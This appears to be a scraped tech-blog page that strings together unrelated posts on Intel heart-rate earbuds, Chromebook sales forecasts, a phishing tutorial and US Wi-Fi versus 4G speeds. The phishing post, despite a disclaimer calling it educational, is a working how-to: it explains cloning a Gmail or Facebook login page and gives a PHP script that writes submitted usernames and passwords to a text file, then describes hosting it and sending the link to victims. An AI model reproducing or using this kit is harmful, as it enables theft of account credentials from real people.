Intel Inside Your Headphones


 Headphones
Intel is the best company known for developing high class processors and certain electronic chips that are used in 90% of laptops and other electronic gadgets. Intel has always tried to develop something different. The i-core processors are the best examples. So Intel has always created interesting stuffs and now it is developing the ear buds that are used in the earphones or headsets. So these ear buds are not same as before but it’s really different as it will detect the user’s heart rates. This news was announced on Friday that Intel is collaborating with rapper Curtis "50 Cent" Jackson's SMS Audio to create and develop this amazing smart ear bud that will take care of user’s health by detecting his heart rates.

The SMS Audio BioSport In-Ear Headphones will be having an earhook and this earhook will be driven or powered by the user's phone that is smart phone. The best part about this is that it will not only be water-resistantbut alsosweat-resistant. These smart ear buds will be offered by SMS Audio in Q4. The rate is not yet announced but is expected very soon.

Bill Calder who is one the representative of Intel says that it is really a unique product as compared to other earphones in the market and no batter is required to run it and that’s the biggest punch.

These BioSport earphones will be well-suited and compatible with the fitness application Run keeper for not only android smart phones but also for iPhones. And in future it will also support some other applicatons related to health and fitness. And these ear designed in such a way that it will work with any kind of smart android phones available. It is wired instead of Bluetooth because wired ear bud will not require any kind of power source for its charging.

The earbuds will have infrared optical sensors that will display the pulsing of the skin inside the user's ear. It was designed and developed in this way because it is static inside the ear so additional motion sensors are not at all required. The earbuds also have an accelerometer which will track user’s motion and that corrects for gestures and motions like for example users shaking their heads.

The data will be captured by these earbuds of the headphones and this data will be communicated to user’s smart phone that will show the analysis and processing of motions.

The final decisions have been taken regarding the product design and let’s hope that it will be in the market soon. So this is basically related to the health and people who are really serious about their health analysis then it’s a must buy for them. It’s just the beginning for Intel and they said that they can do much more with their technology and related procurements.

Gartner's Blausays that it looks like a fun device but at the same time it is also very useful product for health conscious people. He also said that the success of this product is based on branding, budgets and how well it works.

So overall Intel is really going to give the world an amazing and technology driven product that will change the lifestyle of people. So let’s hope that it will be launched soon in the market.

Google Chromebook tend to function better than Apple and Android tablets



Google Chromebook
Both Windows PCs as well as Mac have been traditionally fighting to have their dominance in the desktop landmark as seen in the business sector. On the other hand, we notice Android tablets jostling around with iPads to gain its preeminence in the market.

As these battles are on, everyone tried to overlook Chromebook, despite its persistent signs of development and growth. As per the prediction made by Gartner, it is most likely that the cloud-powered laptops will have a boosting sale of around five million units by the end of this year.

In addition, analysts also believe that with the further implementation of collaborative working practices and cloud computing techniques, in the business area, the sale of Chromebook will even rise as high to about 14 million by 2017.The director of Gartner, Ranjit Atwal states that the appeal and attraction of Chromebook to business is immense because it comes with functionality enabled with its cloud-based operating system. One of the other reasons why is it in huge demand is because it has access to apps and comes with a centralized data, which is convenient for many businesses he explained.

Even with the decline of notebooks, Chromebook came in and filled the gap, which dominated between the fluctuating demand of fully-fledged laptops and tablets: both of them have so far reduced their price and have a well-established business so far. Thus with this, V3 asked the director whether Chromebook can ever have any impact on the market of tablet and laptops.

Quocirca’s service director, Clive Longbottom, is a bit skeptical about this. He believes that has been so far working on and has been familiar with Windows laptops might have a tendency of refraining from adopting Chromebook, as one of the moves to cloud computing, despite also stating clearly that Chromebook have in fact "improved massively", since the time they have come to the market.

He stated that with Chromebook not being cheaper than a Windows 7/8 laptop, the companies that already have an existing Microsoft license agreement would most probably move in for windows laptops. However, he also stated that Chrome books might come in with a great option for companies and organizations that are new or "web-born” and would most likely gain huge advantage from collaboration which is offered from Chromebook end.

Furthermore, Chrome book’s sale might get fuelled by start-ups and other set of new businesses which require cost savings and flexibility that is delivered by cloud-based software’s and services.

The principal analyst at MWD Advisors, Craig Wentworth states that Chromebooks are being already treated as tablet plus devices since they generally have a tendency to reply on tablet plus and apps, but they offer a much more improved functionality with additional proper Qwerty keyboard. He further went on declaring that the middle ground position is not a very strong position for Chromebook to stay in. he stated that with the recent demand of touch screen, mostly present in nearly all mobile devices today, it is trying hard to fully embed it into the Chrome support system by Google.

How to Do Phishing

 Phishing
Phishing simply means creating a fake page of a popular website or company and stealing personal information like username, password, credit card details, and account numbers etc. with the help of that page. Phishing is one of the simplest techniques used by the hacker to hack the account by stealing the login details. Catching a phishing is quite difficult because it has exactly same home page as the original website but yes the link or URL is different. So if you find any such web page displaying the content of the original website but having other abrupt link then you must report to the admin of the site.

Phishing is illegal to practice so please don’t do it. But yes everyone should know that how does it takes place so that they are never caught in the threats. So let us now learn that how phishing is done and how fake page is created but before we begin let me declare:

DISCLAIMER : I am not responsible for any harm caused by the user. The tutorial is purely and only for educational purposes. Please do not misuse this tutorial. 
 

So it’s a kind request from everyone that please don’t misuse it but try to learn it so that you are not affected by this at any instance. So let’s begin:

Firstly you need to have a hosting account. You can also create a free hosting account that is available on many websites, you can simply google it and create an account in any one of them.

Now what hackers do is that they first select the target website like gmail, facebook etc. Once selected, they create the fake page of that original website.

Creating a fake page is quite simple. Just go to any website say Gmail and then right click and select the option “view source code” and then copy all the code in the notepad and save it as target.html.
Now other step is to create a file named “code.php”. Simply open note pad and copy the following
code:

<?php
header ('Location: http://www.xyz.com');

$handle = fopen("names.txt", "a");

foreach($_POST as $variable => $value)
{
fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");

fclose($handle);

exit;

?>

You can replace www.xyz.com with any website you want to direct user to.

Now after copying the following code save it as code.php and now it’s almost done.

Now go to the file target.html and open it because some editing has to be done. Now press ctrl+f and search for “action=” with login written in it. You will observe one link there so replace that link or URL with the file code.php that you have created initially. And now it’s almost done. Also create one file named names.txt where you will get the passwords of the infected user.

Now simply go your hosting account and upload the three files that are: target.html, code.php and name.txt. After they are successfully uploaded it’s ready. Now you will have a link to the fake page like: http://abcxyz.com/target.htm. You can select domain name according to your choice. Now the fake page is ready and now you can submit this link to your friend or anyone else. If he login to this fake page then you can check his username and password in the names.txt file as all the passwords will be stored here.

So this is all about hacking through phishing. But I request you all not to misuse it because it’s illegal and a big cyber-crime. So I hope you will never become the victim of such fake pages. Simply have a look at the link then log in or first reload the page then log in to the account. So in later posts we will also cover some interesting tricks like this so stay connected.

How to Recover Deleted Data From Computer

Wi-Fi Hotspot In The US Run Faster In Speed Than 4G!


While it might just seem like a commonly accepted fact that finally Wi-Fi would give faster speed then 4G, but in several other countries you get to view a different scenario. As per the reports of OpenSignal, U.S. LTE, speeds tend to be slow, but eventually trying to make improvement in this area.

As per the recent reports on U.S. WiFi Speeds by OpenSignal, there is an interesting nugget of information, which would be quite grasping news for many.

Network measurement firm revealed that the Wi-Fi speed which are available in hotels, retail stores, coffee shops, are relatively faster than the overall 4G network speed. Whereas, when a Smartphone user gets connect with a free Wi-Fi hotspot at around 8.77 Mbps, they tend to receive only 6.52 Mbps on a LTE platform and merely 4.31 Mbps on a HSPA+ link.

This was the recent information, which was available from OpenSignal’s data, which undergoes millions of tests through its effective crowd sourced network measurement app.

Well this might not come across as a big shock for many of you. One of the main reasons why people generally switch over from LTE to Wi-Fi is because it gives more bandwidth. However, this area is exception in the US, which has developed a well-built 4G infrastructure. Places like Australia, Sweden, the U.K., Japan and Korea, have LTE connections outpacing the public Wi-Fi networks. Carries such as Everything Everywhere of the UK have reported that there is a gradual decline in the area of Wi-Fi usage from their customer’s device.

However, why such a discrepancy? Well, it has to do a lot due to the way in which the US has made arrangements in its 4G section. It was amongst one of the very first countries to move ahead with large-scale LTE network, however, all of these networks were originally built on small fragment of spectrum. While the US carriers in the area of their download channel utilized 5 MHz or 10 MHz of spectrum, European carries had around 20 MHz East Asian and Australian carriers already using LTE Advanced carrier aggregation methods to pile up huge amount of spectrum in their respective networks.

There is one more reason also. The US comes with an excessively high LTE penetration level. Near about half of the entire LTE global connections towards the end of 2013 was there on the US networks as reported by the GSMA. This literally means that our network is gradually getting crowded with greater amount of people competing for the same level of capacity. You can coalesce this demand with even smaller size of our pipes and you will get a clear picture as in why the U.S. come almost at the end as per the reports made by the global LTE speed rankings.

However, there has been quite a number of new network construction works that has been seen in the U.S. this very year. Verizon has lately constructed a fresh LTE network in several of the major cities at new frequencies. It claims at providing twice the speed in several areas than what it previously generated. In addition, AT&T is following the same track and has utilized carrier aggregation to join in networks together. In around every 6 months time span, T-Mobile is increasing twice its capacity of its current network.
